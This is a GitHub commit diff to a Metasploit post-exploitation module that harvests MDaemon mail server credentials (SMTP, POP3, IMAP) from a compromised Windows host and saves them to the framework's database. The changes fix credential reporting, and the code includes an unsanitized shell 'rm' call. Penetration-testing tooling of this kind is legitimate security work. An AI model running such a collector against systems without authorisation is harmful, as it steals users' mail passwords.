Skip to content

Commit 401044e

Browse files
Fix error when saving creds
1 parent b61aaef commit 401044e

File tree

1 file changed

+18
-24
lines changed

1 file changed

+18
-24
lines changed

modules/post/windows/gather/credentials/mdaemon_cred_collector.rb

Lines changed: 18 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -159,7 +159,8 @@ def parse_userlist(data)
159159
del_cmd = 'rm '
160160
del_cmd << data
161161
system(del_cmd)
162-
return creds, imap, pop3
162+
result = [creds, imap, pop3]
163+
return result
163164
end
164165

165166
def report_cred(creds)
@@ -170,30 +171,28 @@ def report_cred(creds)
170171
port: 25,
171172
service_name: 'smtp',
172173
protocol: 'tcp',
174+
workspace_id: myworkspace_id
173175
}
174176
# Iterate through credentials
175177
creds.each do |cred|
176178
# Build credential information
177179
credential_data = {
178-
origin_type: :service,
180+
origin_type: :session,
179181
session_id: session_db_id,
180182
post_reference_name: self.refname,
181183
private_type: :password,
182184
private_data: cred[4],
183185
username: cred[1],
184-
workspace_id: myworkspace_id,
185186
module_fullname: self.fullname
186187
}
187-
print_status("Debug 1: #{credential_data}")
188188
credential_data.merge!(service_data)
189-
print_status("Debug 2: #{credential_data}")
190189
credential_core = create_credential(credential_data)
191190

192191
# Assemble the options hash for creating the Metasploit::Credential::Login object
193192
login_data = {
194193
core: credential_core,
195194
status: Metasploit::Model::Login::Status::UNTRIED,
196-
workspace_id: myworkspace_id
195+
# workspace_id: myworkspace_id
197196
}
198197

199198
login_data.merge!(service_data)
@@ -208,38 +207,36 @@ def report_cred(creds)
208207
print_status("SMPT credentials saved in: #{loot_path}")
209208
end
210209

211-
def report_pop3(pop3)
210+
def report_pop3(creds)
212211
# Build service information
213212
service_data = {
214213
# address: session.session_host, # Gives internal IP
215214
address: session.tunnel_peer.partition(':')[0], # Gives public IP
216215
port: 110,
217216
service_name: 'pop3',
218217
protocol: 'tcp',
218+
workspace_id: myworkspace_id
219219
}
220220
# Iterate through credentials
221-
pop3.each do |cred|
221+
creds.each do |cred|
222222
# Build credential information
223223
credential_data = {
224-
origin_type: :service,
224+
origin_type: :session,
225225
session_id: session_db_id,
226226
post_reference_name: self.refname,
227227
private_type: :password,
228228
private_data: cred[4],
229229
username: cred[1],
230-
workspace_id: myworkspace_id,
231230
module_fullname: self.fullname
232231
}
233-
vprint_status("Debug 1: #{credential_data}")
234232
credential_data.merge!(service_data)
235-
vprint_status("Debug 2: #{credential_data}")
236233
credential_core = create_credential(credential_data)
237234

238235
# Assemble the options hash for creating the Metasploit::Credential::Login object
239236
login_data = {
240237
core: credential_core,
241238
status: Metasploit::Model::Login::Status::UNTRIED,
242-
workspace_id: myworkspace_id
239+
# workspace_id: myworkspace_id
243240
}
244241

245242
login_data.merge!(service_data)
@@ -254,31 +251,29 @@ def report_pop3(pop3)
254251
print_status("POP3 credentials saved in: #{loot_path}")
255252
end
256253

257-
def report_imap(imap)
254+
def report_imap(creds)
258255
# Build service information
259256
service_data = {
260257
# address: session.session_host, # Gives internal IP
261258
address: session.tunnel_peer.partition(':')[0], # Gives public IP
262259
port: 143,
263260
service_name: 'imap',
264261
protocol: 'tcp',
262+
workspace_id: myworkspace_id
265263
}
266264
# Iterate through credentials
267-
imap.each do |cred|
265+
creds.each do |cred|
268266
# Build credential information
269267
credential_data = {
270-
origin_type: :service,
268+
origin_type: :session,
271269
session_id: session_db_id,
272270
post_reference_name: self.refname,
273271
private_type: :password,
274272
private_data: cred[4],
275273
username: cred[1],
276-
workspace_id: myworkspace_id,
277274
module_fullname: self.fullname
278275
}
279-
vprint_status("Debug 1: #{credential_data}")
280276
credential_data.merge!(service_data)
281-
vprint_status("Debug 2: #{credential_data}")
282277
credential_core = create_credential(credential_data)
283278

284279
# Assemble the options hash for creating the Metasploit::Credential::Login object
@@ -312,10 +307,9 @@ def get_mdaemon_creds(userlist)
312307
'Mail Dir',
313308
'Password'
314309
])
315-
creds, imap, pop3 = parse_userlist(userlist)
316-
report_cred(creds)
317-
report_pop3(pop3)
318-
report_imap(imap)
319-
310+
result = parse_userlist(userlist)
311+
report_cred(result[0])
312+
report_pop3(result[1])
313+
report_imap(result[2])
320314
end
321315
end

0 commit comments

Comments
 (0)